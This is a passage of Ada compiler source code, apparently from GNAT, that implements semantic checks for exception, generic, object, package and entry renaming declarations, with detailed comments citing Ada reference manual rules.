are local -- to this enclosing instance, we know that the default was properly -- resolved when analyzing the generic, so we prefer the local -- candidates to those that are external. This is not always the case -- but is a reasonable heuristic on the use of nested generics. The -- proper solution requires a full renaming model. function Has_Implicit_Character_Literal (N : Node_Id) return Boolean; -- Find a type derived from Character or Wide_Character in the prefix of N. -- Used to resolved qualified names whose selector is a character literal. function Has_Private_With (E : Entity_Id) return Boolean; -- Ada 2005 (AI-262): Determines if the current compilation unit has a -- private with on E. procedure Find_Expanded_Name (N : Node_Id); -- The input is a selected component known to be an expanded name. Verify -- legality of selector given the scope denoted by prefix, and change node -- N into a expanded name with a properly set Entity field. function Find_Renamed_Entity (N : Node_Id; Nam : Node_Id; New_S : Entity_Id; Is_Actual : Boolean := False) return Entity_Id; -- Find the renamed entity that corresponds to the given parameter profile -- in a subprogram renaming declaration. The renamed entity may be an -- operator, a subprogram, an entry, or a protected operation. Is_Actual -- indicates that the renaming is the one generated for an actual subpro- -- gram in an instance, for which special visibility checks apply. function Has_Implicit_Operator (N : Node_Id) return Boolean; -- N is an expanded name whose selector is an operator name (e.g. P."+"). -- declarative part contains an implicit declaration of an operator if it -- has a declaration of a type to which one of the predefined operators -- apply. The existence of this routine is an implementation artifact. A -- more straightforward but more space-consuming choice would be to make -- all inherited operators explicit in the symbol table. procedure Inherit_Renamed_Profile (New_S : Entity_Id; Old_S : Entity_Id); -- A subprogram defined by a renaming declaration inherits the parameter -- profile of the renamed entity. The subtypes given in the subprogram -- specification are discarded and replaced with those of the renamed -- subprogram, which are then used to recheck the default values. function Is_Appropriate_For_Record (T : Entity_Id) return Boolean; -- Prefix is appropriate for record if it is of a record type, or an access -- to such. function Is_Appropriate_For_Entry_Prefix (T : Entity_Id) return Boolean; -- True if it is of a task type, a protected type, or else an access to one -- of these types. procedure Note_Redundant_Use (Clause : Node_Id); -- Mark the name in a use clause as redundant if the corresponding entity -- is already use-visible. Emit a warning if the use clause comes from -- source and the proper warnings are enabled. procedure Premature_Usage (N : Node_Id); -- Diagnose usage of an entity before it is visible procedure Use_One_Package (P : Entity_Id; N : Node_Id); -- Make visible entities declared in package P potentially use-visible -- in the current context. Also used in the analysis of subunits, when -- re-installing use clauses of parent units. N is the use_clause that -- names P (and possibly other packages). procedure Use_One_Type (Id : Node_Id; Installed : Boolean := False); -- Id is the subtype mark from a use type clause. This procedure makes -- the primitive operators of the type potentially use-visible. The -- boolean flag Installed indicates that the clause is being reinstalled -- after previous analysis, and primitive operations are already chained -- on the Used_Operations list of the clause. procedure Write_Info; -- Write debugging information on entities declared in current scope -------------------------------- -- Analyze_Exception_Renaming -- -------------------------------- -- The language only allows a single identifier, but the tree holds an -- identifier list. The parser has already issued an error message if -- there is more than one element in the list. procedure Analyze_Exception_Renaming (N : Node_Id) is Id : constant Entity_Id := Defining_Entity (N); Nam : constant Node_Id := Name (N); begin Check_SPARK_05_Restriction ("exception renaming is not allowed", N); Enter_Name (Id); Analyze (Nam); Set_Ekind (Id, E_Exception); Set_Etype (Id, Standard_Exception_Type); Set_Is_Pure (Id, Is_Pure (Current_Scope)); if Is_Entity_Name (Nam) and then Present (Entity (Nam)) and then Ekind (Entity (Nam)) = E_Exception then if Present (Renamed_Object (Entity (Nam))) then Set_Renamed_Object (Id, Renamed_Object (Entity (Nam))); else Set_Renamed_Object (Id, Entity (Nam)); end if; -- The exception renaming declaration may become Ghost if it renames -- a Ghost entity. Mark_Ghost_Renaming (N, Entity (Nam)); else Error_Msg_N ("invalid exception name in renaming", Nam); end if; -- Implementation-defined aspect specifications can appear in a renaming -- declaration, but not language-defined ones. The call to procedure -- Analyze_Aspect_Specifications will take care of this error check. if Has_Aspects (N) then Analyze_Aspect_Specifications (N, Id); end if; end Analyze_Exception_Renaming; --------------------------- -- Analyze_Expanded_Name -- --------------------------- procedure Analyze_Expanded_Name (N : Node_Id) is begin -- If the entity pointer is already set, this is an internal node, or a -- node that is analyzed more than once, after a tree modification. In -- such a case there is no resolution to perform, just set the type. In -- either case, start by analyzing the prefix. Analyze (Prefix (N)); if Present (Entity (N)) then if Is_Type (Entity (N)) then Set_Etype (N, Entity (N)); else Set_Etype (N, Etype (Entity (N))); end if; else Find_Expanded_Name (N); end if; -- In either case, propagate dimension of entity to expanded name Analyze_Dimension (N); end Analyze_Expanded_Name; --------------------------------------- -- Analyze_Generic_Function_Renaming -- --------------------------------------- procedure Analyze_Generic_Function_Renaming (N : Node_Id) is begin Analyze_Generic_Renaming (N, E_Generic_Function); end Analyze_Generic_Function_Renaming; -------------------------------------- -- Analyze_Generic_Package_Renaming -- -------------------------------------- procedure Analyze_Generic_Package_Renaming (N : Node_Id) is begin -- Test for the Text_IO special unit case here, since we may be renaming -- one of the subpackages of Text_IO, then join common routine. Check_Text_IO_Special_Unit (Name (N)); Analyze_Generic_Renaming (N, E_Generic_Package); end Analyze_Generic_Package_Renaming; ---------------------------------------- -- Analyze_Generic_Procedure_Renaming -- ---------------------------------------- procedure Analyze_Generic_Procedure_Renaming (N : Node_Id) is begin Analyze_Generic_Renaming (N, E_Generic_Procedure); end Analyze_Generic_Procedure_Renaming; ------------------------------ -- Analyze_Generic_Renaming -- ------------------------------ procedure Analyze_Generic_Renaming (N : Node_Id; K : Entity_Kind) is New_P : constant Entity_Id := Defining_Entity (N); Inst : Boolean := False; Old_P : Entity_Id; begin if Name (N) = Error then return; end if; Check_SPARK_05_Restriction ("generic renaming is not allowed", N); Generate_Definition (New_P); if Current_Scope /= Standard_Standard then Set_Is_Pure (New_P, Is_Pure (Current_Scope)); end if; if Nkind (Name (N)) = N_Selected_Component then Check_Generic_Child_Unit (Name (N), Inst); else Analyze (Name (N)); end if; if not Is_Entity_Name (Name (N)) then Error_Msg_N ("expect entity name in renaming declaration", Name (N)); Old_P := Any_Id; else Old_P := Entity (Name (N)); end if; Enter_Name (New_P); Set_Ekind (New_P, K); if Etype (Old_P) = Any_Type then null; elsif Ekind (Old_P) /= K then Error_Msg_N ("invalid generic unit name", Name (N)); else if Present (Renamed_Object (Old_P)) then Set_Renamed_Object (New_P, Renamed_Object (Old_P)); else Set_Renamed_Object (New_P, Old_P); end if; -- The generic renaming declaration may become Ghost if it renames a -- Ghost entity. Mark_Ghost_Renaming (N, Old_P); Set_Is_Pure (New_P, Is_Pure (Old_P)); Set_Is_Preelaborated (New_P, Is_Preelaborated (Old_P)); Set_Etype (New_P, Etype (Old_P)); Set_Has_Completion (New_P); if In_Open_Scopes (Old_P) then Error_Msg_N ("within its scope, generic denotes its instance", N); end if; -- For subprograms, propagate the Intrinsic flag, to allow, e.g. -- renamings and subsequent instantiations of Unchecked_Conversion. if Ekind_In (Old_P, E_Generic_Function, E_Generic_Procedure) then Set_Is_Intrinsic_Subprogram (New_P, Is_Intrinsic_Subprogram (Old_P)); end if; Check_Library_Unit_Renaming (N, Old_P); end if; -- Implementation-defined aspect specifications can appear in a renaming -- declaration, but not language-defined ones. The call to procedure -- Analyze_Aspect_Specifications will take care of this error check. if Has_Aspects (N) then Analyze_Aspect_Specifications (N, New_P); end if; end Analyze_Generic_Renaming; ----------------------------- -- Analyze_Object_Renaming -- ----------------------------- procedure Analyze_Object_Renaming (N : Node_Id) is Id : constant Entity_Id := Defining_Identifier (N); Loc : constant Source_Ptr := Sloc (N); Nam : constant Node_Id := Name (N); Dec : Node_Id; T : Entity_Id; T2 : Entity_Id; procedure Check_Constrained_Object; -- If the nominal type is unconstrained but the renamed object is -- constrained, as can happen with renaming an explicit dereference or -- a function return, build a constrained subtype from the object. If -- the renaming is for a formal in an accept statement, the analysis -- has already established its actual subtype. This is only relevant -- if the renamed object is an explicit dereference. ------------------------------ -- Check_Constrained_Object -- ------------------------------ procedure Check_Constrained_Object is Typ : constant Entity_Id := Etype (Nam); Subt : Entity_Id; begin if Nkind_In (Nam, N_Function_Call, N_Explicit_Dereference) and then Is_Composite_Type (Etype (Nam)) and then not Is_Constrained (Etype (Nam)) and then not Has_Unknown_Discriminants (Etype (Nam)) and then Expander_Active then -- If Actual_Subtype is already set, nothing to do if Ekind_In (Id, E_Variable, E_Constant) and then Present (Actual_Subtype (Id)) then null; -- A renaming of an unchecked union has no actual subtype elsif Is_Unchecked_Union (Typ) then null; -- If a record is limited its size is invariant. This is the case -- in particular with record types with an access discirminant -- that are used in iterators. This is an optimization, but it -- also prevents typing anomalies when the prefix is further -- expanded. Limited types with discriminants are included. elsif Is_Limited_Record (Typ) or else (Ekind (Typ) = E_Limited_Private_Type and then Has_Discriminants (Typ) and then Is_Access_Type (Etype (First_Discriminant (Typ)))) then null; else Subt := Make_Temporary (Loc, 'T'); Remove_Side_Effects (Nam); Insert_Action (N, Make_Subtype_Declaration (Loc, Defining_Identifier => Subt, Subtype_Indication => Make_Subtype_From_Expr (Nam, Typ))); Rewrite (Subtype_Mark (N), New_Occurrence_Of (Subt, Loc)); Set_Etype (Nam, Subt); -- Freeze subtype at once, to prevent order of elaboration -- issues in the backend. The renamed object exists, so its -- type is already frozen in any case. Freeze_Before (N, Subt); end if; end if; end Check_Constrained_Object; -- Start of processing for Analyze_Object_Renaming begin if Nam = Error then return; end if; Check_SPARK_05_Restriction ("object renaming is not allowed", N); Set_Is_Pure (Id, Is_Pure (Current_Scope)); Enter_Name (Id); -- The renaming of a component that depends on a discriminant requires -- an actual subtype, because in subsequent use of the object Gigi will -- be unable to locate the actual bounds. This explicit step is required -- when the renaming is generated in removing side effects of an -- already-analyzed expression. if Nkind (Nam) = N_Selected_Component and then Analyzed (Nam) then -- The object renaming declaration may become Ghost if it renames a -- Ghost entity. if Is_Entity_Name (Nam) then Mark_Ghost_Renaming (N, Entity (Nam)); end if; T := Etype (Nam); Dec := Build_Actual_Subtype_Of_Component (Etype (Nam), Nam); if Present (Dec) then Insert_Action (N, Dec); T := Defining_Identifier (Dec); Set_Etype (Nam, T); end if; -- Complete analysis of the subtype mark in any case, for ASIS use if Present (Subtype_Mark (N)) then Find_Type (Subtype_Mark (N)); end if; elsif Present (Subtype_Mark (N)) then Find_Type (Subtype_Mark (N)); T := Entity (Subtype_Mark (N)); Analyze (Nam); -- The object renaming declaration may become Ghost if it renames a -- Ghost entity. if Is_Entity_Name (Nam) then Mark_Ghost_Renaming (N, Entity (Nam)); end if; -- Reject renamings of conversions unless the type is tagged, or -- the conversion is implicit (which can occur for cases of anonymous -- access types in Ada 2012). if Nkind (Nam) = N_Type_Conversion and then Comes_From_Source (Nam) and then not Is_Tagged_Type (T) then Error_Msg_N ("renaming of conversion only allowed for tagged types", Nam); end if; Resolve (Nam, T); -- If the renamed object is a function call of a limited type, -- the expansion of the renaming is complicated by the presence -- of various temporaries and subtypes that capture constraints -- of the renamed object. Rewrite node as an object declaration, -- whose expansion is simpler. Given that the object is limited -- there is no copy involved and no performance hit. if Nkind (Nam) = N_Function_Call and then Is_Limited_View (Etype (Nam)) and then not Is_Constrained (Etype (Nam)) and then Comes_From_Source (N) then Set_Etype (Id, T); Set_Ekind (Id, E_Constant); Rewrite (N, Make_Object_Declaration (Loc, Defining_Identifier => Id, Constant_Present => True, Object_Definition => New_Occurrence_Of (Etype (Nam), Loc), Expression => Relocate_Node (Nam))); return; end if; -- Ada 2012 (AI05-149): Reject renaming of an anonymous access object -- when renaming declaration has a named access type. The Ada 2012 -- coverage rules allow an anonymous access type in the context of -- an expected named general access type, but the renaming rules -- require the types to be the same. (An exception is when the type -- of the renaming is also an anonymous access type, which can only -- happen due to a renaming created by the expander.) if Nkind (Nam) = N_Type_Conversion and then not Comes_From_Source (Nam) and then Ekind (Etype (Expression (Nam))) = E_Anonymous_Access_Type and then Ekind (T) /= E_Anonymous_Access_Type then Wrong_Type (Expression (Nam), T); -- Should we give better error??? end if; -- Check that a class-wide object is not being renamed as an object -- of a specific type. The test for access types is needed to exclude -- cases where the renamed object is a dynamically tagged access -- result, such as occurs in certain expansions. if Is_Tagged_Type (T) then Check_Dynamically_Tagged_Expression (Expr => Nam, Typ => T, Related_Nod => N); end if; -- Ada 2005 (AI-230/AI-254): Access renaming else pragma Assert (Present (Access_Definition (N))); T := Access_Definition (Related_Nod => N, N => Access_Definition (N)); Analyze (Nam); -- The object renaming declaration may become Ghost if it renames a -- Ghost entity. if Is_Entity_Name (Nam) then Mark_Ghost_Renaming (N, Entity (Nam)); end if; -- Ada 2005 AI05-105: if the declaration has an anonymous access -- type, the renamed object must also have an anonymous type, and -- this is a name resolution rule. This was implicit in the last part -- of the first sentence in 8.5.1(3/2), and is made explicit by this -- recent AI. if not Is_Overloaded (Nam) then if Ekind (Etype (Nam)) /= Ekind (T) then Error_Msg_N ("expect anonymous access type in object renaming", N); end if; else declare I : Interp_Index; It : Interp; Typ : Entity_Id := Empty; Seen : Boolean := False; begin Get_First_Interp (Nam, I, It); while Present (It.Typ) loop -- Renaming is ambiguous if more than one candidate -- interpretation is type-conformant with the context. if Ekind (It.Typ) = Ekind (T) then if Ekind (T) = E_Anonymous_Access_Subprogram_Type and then Type_Conformant (Designated_Type (T), Designated_Type (It.Typ)) then if not Seen then Seen := True; else Error_Msg_N ("ambiguous expression in renaming", Nam); end if; elsif Ekind (T) = E_Anonymous_Access_Type and then Covers (Designated_Type (T), Designated_Type (It.Typ)) then if not Seen then Seen := True; else Error_Msg_N ("ambiguous expression in renaming", Nam); end if; end if; if Covers (T, It.Typ) then Typ := It.Typ; Set_Etype (Nam, Typ); Set_Is_Overloaded (Nam, False); end if; end if; Get_Next_Interp (I, It); end loop; end; end if; Resolve (Nam, T); -- Do not perform the legality checks below when the resolution of -- the renaming name failed because the associated type is Any_Type. if Etype (Nam) = Any_Type then null; -- Ada 2005 (AI-231): In the case where the type is defined by an -- access_definition, the renamed entity shall be of an access-to- -- constant type if and only if the access_definition defines an -- access-to-constant type. ARM 8.5.1(4) elsif Constant_Present (Access_Definition (N)) and then not Is_Access_Constant (Etype (Nam)) then Error_Msg_N ("(Ada 2005): the renamed object is not access-to-constant " & "(RM 8.5.1(6))", N); elsif not Constant_Present (Access_Definition (N)) and then Is_Access_Constant (Etype (Nam)) then Error_Msg_N ("(Ada 2005): the renamed object is not access-to-variable " & "(RM 8.5.1(6))", N); end if; if Is_Access_Subprogram_Type (Etype (Nam)) then Check_Subtype_Conformant (Designated_Type (T), Designated_Type (Etype (Nam))); elsif not Subtypes_Statically_Match (Designated_Type (T), Available_View (Designated_Type (Etype (Nam)))) then Error_Msg_N ("subtype of renamed object does not statically match", N); end if; end if; -- Special processing for renaming function return object. Some errors -- and warnings are produced only for calls that come from source. if Nkind (Nam) = N_Function_Call then case Ada_Version is -- Usage is illegal in Ada 83, but renamings are also introduced -- during expansion, and error does not apply to those. when Ada_83 => if Comes_From_Source (N) then Error_Msg_N ("(Ada 83) cannot rename function return object", Nam); end if; -- In Ada 95, warn for odd case of renaming parameterless function -- call if this is not a limited type (where this is useful). when others => if Warn_On_Object_Renames_Function and then No (Parameter_Associations (Nam)) and then not Is_Limited_Type (Etype (Nam)) and then Comes_From_Source (Nam) then Error_Msg_N ("renaming function result object is suspicious?R?", Nam); Error_Msg_NE ("\function & will be called only once?R?", Nam, Entity (Name (Nam))); Error_Msg_N -- CODEFIX ("\suggest using an initialized constant " & "object instead?R?", Nam); end if; end case; end if; Check_Constrained_Object; -- An object renaming requires an exact match of the type. Class-wide -- matching is not allowed. if Is_Class_Wide_Type (T) and then Base_Type (Etype (Nam)) /= Base_Type (T) then Wrong_Type (Nam, T); end if; T2 := Etype (Nam); -- Ada 2005 (AI-326): Handle wrong use of incomplete type if Nkind (Nam) = N_Explicit_Dereference and then Ekind (Etype (T2)) = E_Incomplete_Type then Error_Msg_NE ("invalid use of incomplete type&", Id, T2); return; elsif Ekind (Etype (T)) = E_Incomplete_Type then Error_Msg_NE ("invalid use of incomplete type&", Id, T); return; end if; -- Ada 2005 (AI-327) if Ada_Version >= Ada_2005 and then Nkind (Nam) = N_Attribute_Reference and then Attribute_Name (Nam) = Name_Priority then null; elsif Ada_Version >= Ada_2005 and then Nkind (Nam) in N_Has_Entity then declare Nam_Decl : Node_Id; Nam_Ent : Entity_Id; begin if Nkind (Nam) = N_Attribute_Reference then Nam_Ent := Entity (Prefix (Nam)); else Nam_Ent := Entity (Nam); end if; Nam_Decl := Parent (Nam_Ent); if Has_Null_Exclusion (N) and then not Has_Null_Exclusion (Nam_Decl) then -- Ada 2005 (AI-423): If the object name denotes a generic -- formal object of a generic unit G, and the object renaming -- declaration occurs within the body of G or within the body -- of a generic unit declared within the declarative region -- of G, then the declaration of the formal object of G must -- have a null exclusion or a null-excluding subtype. if Is_Formal_Object (Nam_Ent) and then In_Generic_Scope (Id) then if not Can_Never_Be_Null (Etype (Nam_Ent)) then Error_Msg_N ("renamed formal does not exclude `NULL` " & "(RM 8.5.1(4.6/2))", N); elsif In_Package_Body (Scope (Id)) then Error_Msg_N ("formal object does not have a null exclusion" & "(RM 8.5.1(4.6/2))", N); end if; -- Ada 2005 (AI-423): Otherwise, the subtype of the object name -- shall exclude null. elsif not Can_Never_Be_Null (Etype (Nam_Ent)) then Error_Msg_N ("renamed object does not exclude `NULL` " & "(RM 8.5.1(4.6/2))", N); -- An instance is illegal if it contains a renaming that -- excludes null, and the actual does not. The renaming -- declaration has already indicated that the declaration -- of the renamed actual in the instance will raise -- constraint_error. elsif Nkind (Nam_Decl) = N_Object_Declaration and then In_Instance and then Present (Corresponding_Generic_Association (Nam_Decl)) and then Nkind (Expression (Nam_Decl)) = N_Raise_Constraint_Error then Error_Msg_N ("renamed actual does not exclude `NULL` " & "(RM 8.5.1(4.6/2))", N); -- Finally, if there is a null exclusion, the subtype mark -- must not be null-excluding. elsif No (Access_Definition (N)) and then Can_Never_Be_Null (T) then Error_Msg_NE ("`NOT NULL` not allowed (& already excludes null)", N, T); end if; elsif Can_Never_Be_Null (T) and then not Can_Never_Be_Null (Etype (Nam_Ent)) then Error_Msg_N ("renamed object does not exclude `NULL` " & "(RM 8.5.1(4.6/2))", N); elsif Has_Null_Exclusion (N) and then No (Access_Definition (N)) and then Can_Never_Be_Null (T) then Error_Msg_NE ("`NOT NULL` not allowed (& already excludes null)", N, T); end if; end; end if; -- Set the Ekind of the entity, unless it has been set already, as is -- the case for the iteration object over a container with no variable -- indexing. In that case it's been marked as a constant, and we do not -- want to change it to a variable. if Ekind (Id) /= E_Constant then Set_Ekind (Id, E_Variable); end if; -- Initialize the object size and alignment. Note that we used to call -- Init_Size_Align here, but that's wrong for objects which have only -- an Esize, not an RM_Size field. Init_Object_Size_Align (Id); if T = Any_Type or else Etype (Nam) = Any_Type then return; -- Verify that the renamed entity is an object or a function call. It -- may have been rewritten in several ways. elsif Is_Object_Reference (Nam) then if Comes_From_Source (N) then if Is_Dependent_Component_Of_Mutable_Object (Nam) then Error_Msg_N ("illegal renaming of discriminant-dependent component", Nam); end if; -- If the renaming comes from source and the renamed object is a -- dereference, then mark the prefix as needing debug information, -- since it might have been rewritten hence internally generated -- and Debug_Renaming_Declaration will link the renaming to it. if Nkind (Nam) = N_Explicit_Dereference and then Is_Entity_Name (Prefix (Nam)) then Set_Debug_Info_Needed (Entity (Prefix (Nam))); end if; end if; -- A static function call may have been folded into a literal elsif Nkind (Original_Node (Nam)) = N_Function_Call -- When expansion is disabled, attribute reference is not rewritten -- as function call. Otherwise it may be rewritten as a conversion, -- so check original node. or else (Nkind (Original_Node (Nam)) = N_Attribute_Reference and then Is_Function_Attribute_Name (Attribute_Name (Original_Node (Nam)))) -- Weird but legal, equivalent to renaming a function call. Illegal -- if the literal is the result of constant-folding an attribute -- reference that is not a function. or else (Is_Entity_Name (Nam) and then Ekind (Entity (Nam)) = E_Enumeration_Literal and then Nkind (Original_Node (Nam)) /= N_Attribute_Reference) or else (Nkind (Nam) = N_Type_Conversion and then Is_Tagged_Type (Entity (Subtype_Mark (Nam)))) then null; elsif Nkind (Nam) = N_Type_Conversion then Error_Msg_N ("renaming of conversion only allowed for tagged types", Nam); -- Ada 2005 (AI-327) elsif Ada_Version >= Ada_2005 and then Nkind (Nam) = N_Attribute_Reference and then Attribute_Name (Nam) = Name_Priority then null; -- Allow internally generated x'Ref resulting in N_Reference node elsif Nkind (Nam) = N_Reference then null; else Error_Msg_N ("expect object name in renaming", Nam); end if; Set_Etype (Id, T2); if not Is_Variable (Nam) then Set_Ekind (Id, E_Constant); Set_Never_Set_In_Source (Id, True); Set_Is_True_Constant (Id, True); end if; -- The entity of the renaming declaration needs to reflect whether the -- renamed object is volatile. Is_Volatile is set if the renamed object -- is volatile in the RM legality sense. Set_Is_Volatile (Id, Is_Volatile_Object (Nam)); -- Also copy settings of Atomic/Independent/Volatile_Full_Access if Is_Entity_Name (Nam) then Set_Is_Atomic (Id, Is_Atomic (Entity (Nam))); Set_Is_Independent (Id, Is_Independent (Entity (Nam))); Set_Is_Volatile_Full_Access (Id, Is_Volatile_Full_Access (Entity (Nam))); end if; -- Treat as volatile if we just set the Volatile flag if Is_Volatile (Id) -- Or if we are renaming an entity which was marked this way -- Are there more cases, e.g. X(J) where X is Treat_As_Volatile ??? or else (Is_Entity_Name (Nam) and then Treat_As_Volatile (Entity (Nam))) then Set_Treat_As_Volatile (Id, True); end if; -- Now make the link to the renamed object Set_Renamed_Object (Id, Nam); -- Implementation-defined aspect specifications can appear in a renaming -- declaration, but not language-defined ones. The call to procedure -- Analyze_Aspect_Specifications will take care of this error check. if Has_Aspects (N) then Analyze_Aspect_Specifications (N, Id); end if; -- Deal with dimensions Analyze_Dimension (N); end Analyze_Object_Renaming; ------------------------------ -- Analyze_Package_Renaming -- ------------------------------ procedure Analyze_Package_Renaming (N : Node_Id) is New_P : constant Entity_Id := Defining_Entity (N); Old_P : Entity_Id; Spec : Node_Id; begin if Name (N) = Error then return; end if; -- Check for Text_IO special unit (we may be renaming a Text_IO child) Check_Text_IO_Special_Unit (Name (N)); if Current_Scope /= Standard_Standard then Set_Is_Pure (New_P, Is_Pure (Current_Scope)); end if; Enter_Name (New_P); Analyze (Name (N)); if Is_Entity_Name (Name (N)) then Old_P := Entity (Name (N)); else Old_P := Any_Id; end if; if Etype (Old_P) = Any_Type then Error_Msg_N ("expect package name in renaming", Name (N)); elsif Ekind (Old_P) /= E_Package and then not (Ekind (Old_P) = E_Generic_Package and then In_Open_Scopes (Old_P)) then if Ekind (Old_P) = E_Generic_Package then Error_Msg_N ("generic package cannot be renamed as a package", Name (N)); else Error_Msg_Sloc := Sloc (Old_P); Error_Msg_NE ("expect package name in renaming, found& declared#", Name (N), Old_P); end if; -- Set basic attributes to minimize cascaded errors Set_Ekind (New_P, E_Package); Set_Etype (New_P, Standard_Void_Type); -- Here for OK package renaming else -- Entities in the old package are accessible through the renaming -- entity. The simplest implementation is to have both packages share -- the entity list. Set_Ekind (New_P, E_Package); Set_Etype (New_P, Standard_Void_Type); if Present (Renamed_Object (Old_P)) then Set_Renamed_Object (New_P, Renamed_Object (Old_P)); else Set_Renamed_Object (New_P, Old_P); end if; -- The package renaming declaration may become Ghost if it renames a -- Ghost entity. Mark_Ghost_Renaming (N, Old_P); Set_Has_Completion (New_P); Set_First_Entity (New_P, First_Entity (Old_P)); Set_Last_Entity (New_P, Last_Entity (Old_P)); Set_First_Private_Entity (New_P, First_Private_Entity (Old_P)); Check_Library_Unit_Renaming (N, Old_P); Generate_Reference (Old_P, Name (N)); -- If the renaming is in the visible part of a package, then we set -- Renamed_In_Spec for the renamed package, to prevent giving -- warnings about no entities referenced. Such a warning would be -- overenthusiastic, since clients can see entities in the renamed -- package via the visible package renaming. declare Ent : constant Entity_Id := Cunit_Entity (Current_Sem_Unit); begin if Ekind (Ent) = E_Package and then not In_Private_Part (Ent) and then In_Extended_Main_Source_Unit (N) and then Ekind (Old_P) = E_Package then Set_Renamed_In_Spec (Old_P); end if; end; -- If this is the renaming declaration of a package instantiation -- within itself, it is the declaration that ends the list of actuals -- for the instantiation. At this point, the subtypes that rename -- the actuals are flagged as generic, to avoid spurious ambiguities -- if the actuals for two distinct formals happen to coincide. If -- the actual is a private type, the subtype has a private completion -- that is flagged in the same fashion. -- Resolution is identical to what is was in the original generic. -- On exit from the generic instance, these are turned into regular -- subtypes again, so they are compatible with types in their class. if not Is_Generic_Instance (Old_P) then return; else Spec := Specification (Unit_Declaration_Node (Old_P)); end if; if Nkind (Spec) = N_Package_Specification and then Present (Generic_Parent (Spec)) and then Old_P = Current_Scope and then Chars (New_P) = Chars (Generic_Parent (Spec)) then declare E : Entity_Id; begin E := First_Entity (Old_P); while Present (E) and then E /= New_P loop if Is_Type (E) and then Nkind (Parent (E)) = N_Subtype_Declaration then Set_Is_Generic_Actual_Type (E); if Is_Private_Type (E) and then Present (Full_View (E)) then Set_Is_Generic_Actual_Type (Full_View (E)); end if; end if; Next_Entity (E); end loop; end; end if; end if; -- Implementation-defined aspect specifications can appear in a renaming -- declaration, but not language-defined ones. The call to procedure -- Analyze_Aspect_Specifications will take care of this error check. if Has_Aspects (N) then Analyze_Aspect_Specifications (N, New_P); end if; end Analyze_Package_Renaming; ------------------------------- -- Analyze_Renamed_Character -- ------------------------------- procedure Analyze_Renamed_Character (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean) is C : constant Node_Id := Name (N); begin if Ekind (New_S) = E_Function then Resolve (C, Etype (New_S)); if Is_Body then Check_Frozen_Renaming (N, New_S); end if; else Error_Msg_N ("character literal can only be renamed as function", N); end if; end Analyze_Renamed_Character; --------------------------------- -- Analyze_Renamed_Dereference -- --------------------------------- procedure Analyze_Renamed_Dereference (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean) is Nam : constant Node_Id := Name (N); P : constant Node_Id := Prefix (Nam); Typ : Entity_Id; Ind : Interp_Index; It : Interp; begin if not Is_Overloaded (P) then if Ekind (Etype (Nam)) /= E_Subprogram_Type or else not Type_Conformant (Etype (Nam), New_S) then Error_Msg_N ("designated type does not match specification", P); else Resolve (P); end if; return; else Typ := Any_Type; Get_First_Interp (Nam, Ind, It); while Present (It.Nam) loop if Ekind (It.Nam) = E_Subprogram_Type and then Type_Conformant (It.Nam, New_S) then if Typ /= Any_Id then Error_Msg_N ("ambiguous renaming", P); return; else Typ := It.Nam; end if; end if; Get_Next_Interp (Ind, It); end loop; if Typ = Any_Type then Error_Msg_N ("designated type does not match specification", P); else Resolve (N, Typ); if Is_Body then Check_Frozen_Renaming (N, New_S); end if; end if; end if; end Analyze_Renamed_Dereference; --------------------------- -- Analyze_Renamed_Entry -- --------------------------- procedure Analyze_Renamed_Entry (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean) is Nam : constant Node_Id := Name (N); Sel : constant Node_Id := Selector_Name (Nam); Is_Actual : constant Boolean := Present (Corresponding_Formal_Spec (N)); Old_S : Entity_Id; begin if Entity (Sel) = Any_Id then -- Selector is undefined on prefix. Error emitted already Set_Has_Completion (New_S); return; end if; -- Otherwise find renamed entity and build body of New_S as a call to it Old_S := Find_Renamed_Entity (N, Selector_Name (Nam), New_S); if Old_S = Any_Id then Error_Msg_N (" no subprogram or entry matches specification", N); else if Is_Body then Check_Subtype_Conformant (New_S, Old_S, N); Generate_Reference (New_S, Defining_Entity (N), 'b'); Style.Check_Identifier (Defining_Entity (N), New_S); else -- Only mode conformance required for a renaming_as_declaration Check_Mode_Conformant (New_S, Old_S, N); end if; Inherit_Renamed_Profile (New_S, Old_S); -- The prefix can be an arbitrary expression that yields a task or -- protected object, so it must be resolved. Resolve (Prefix (Nam), Scope (Old_S)); end if; Set_Convention (New_S, Convention (Old_S)); Set_Has_Completion (New_S, Inside_A_Generic); -- AI05-0225: If the renamed entity is a procedure or entry of a -- protected object, the target object must be a variable. if Ekind (Scope (Old_S)) in Protected_Kind and then Ekind (New_S) = E_Procedure and then not Is_Variable (Prefix (Nam)) then if Is_Actual then Error_Msg_N ("target object of protected operation used as actual for " & "formal procedure must be a variable", Nam); else Error_Msg_N ("target object of protected operation renamed as procedure, " & "must be a variable", Nam); end if; end if; if Is_Body then Check_Frozen_Renaming (N, New_S); end if; end Analyze_Renamed_Entry; ----------------------------------- -- Analyze_Renamed_Family_Member -- ----------------------------------- procedure Analyze_Renamed_Family_Member (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean) is Nam : constant Node_Id := Name (N); P : constant Node_Id := Prefix (Nam); Old_S : Entity_Id; begin if (Is_Entity_Name (P) and then Ekind (Entity (P)) = E_Entry_Family) or else (Nkind (P) = N_Selected_Component and then Ekind (Entity (Selector_Name (P))) = E_Entry_Family) then if Is_Entity_Name (P) then Old_S := Entity (P); else Old_S := Entity (Selector_Name (P)); end if; if not Entity_Matches_Spec (Old_S, New_S) then Error_Msg_N ("entry family does not match specification", N); elsif Is_Body then Check_Subtype_Conformant (New_S, Old_S, N); Generate_Reference (New_S, Defining_Entity (N), 'b'); Style.Check_Identifier (Defining_Entity (N), New_S); end if; else Error_Msg_N ("no entry family matches specification", N); end if; Set_Has_Completion (New_S, Inside_A_Generic); if Is_Body then Check_Frozen_Renaming (N, New_S); end if; end Analyze_Renamed_Family_Member; ----------------------------------------- -- Analyze_Renamed_Primitive_Operation -- ----------------------------------------- procedure Analyze_Renamed_Primitive_Operation (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean) is Old_S : Entity_Id; function Conforms (Subp : Entity_Id; Ctyp : Conformance_Type) return Boolean; -- Verify that the signatures of the renamed entity and the new entity -- match. The first formal of the renamed entity is skipped because it -- is the target object in any subsequent call. -------------- -- Conforms -- -------------- function Conforms (Subp : Entity_Id; Ctyp : Conformance_Type) return Boolean is Old_F : Entity_Id; New_F : Entity_Id; begin if Ekind (Subp) /= Ekind (New_S) then return False; end if; Old_F := Next_Formal (First_Formal (Subp)); New_F := First_Formal (New_S); while Present (Old_F) and then Present (New_F) loop if not Conforming_Types (Etype (Old_F), Etype 